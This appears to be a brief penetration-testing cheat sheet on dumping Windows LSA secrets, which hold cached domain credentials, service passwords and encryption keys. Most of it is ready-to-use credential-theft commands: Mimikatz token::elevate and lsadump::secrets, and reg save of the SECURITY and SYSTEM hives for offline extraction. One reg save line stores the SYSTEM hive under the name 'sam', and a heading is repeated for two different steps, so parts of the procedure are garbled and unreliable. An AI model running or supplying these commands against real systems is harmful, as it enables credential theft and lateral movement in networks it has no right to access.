<aside> ❔
Originally, the secrets contained cached domain records. Later, Windows developers expanded the application area for the storage. At this moment, they can store PC users' text passwords, service account passwords (for example, those that must be run by a certain user to perform certain tasks), Internet Explorer passwords, RAS connection passwords, SQL and CISCO passwords, SYSTEM account passwords, private user data like EFS encryption keys, and a lot more. For example, the NL$KM secret contains the cached domain password encryption key.
</aside>
<aside> ⚠️
To dump secrets we need to be NT AUTHORITY\SYSTEM!
</aside>
LSA Secrets are stored in registry:
HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets
LSA secrets can be dumped from memory using Mimikatz like so:
token::elevate
lsadump::secrets
LSA secrets can be dumped from registry hives likes so:
reg save HKLM\\security security
reg save HKLM\\SYSTEM sam
reg save HKLM\\SYSTEM system
LSA secrets can be dumped from registry hives likes so:
lsadump::secrets /system:c:\\temp\\system /security:c:\\temp\\security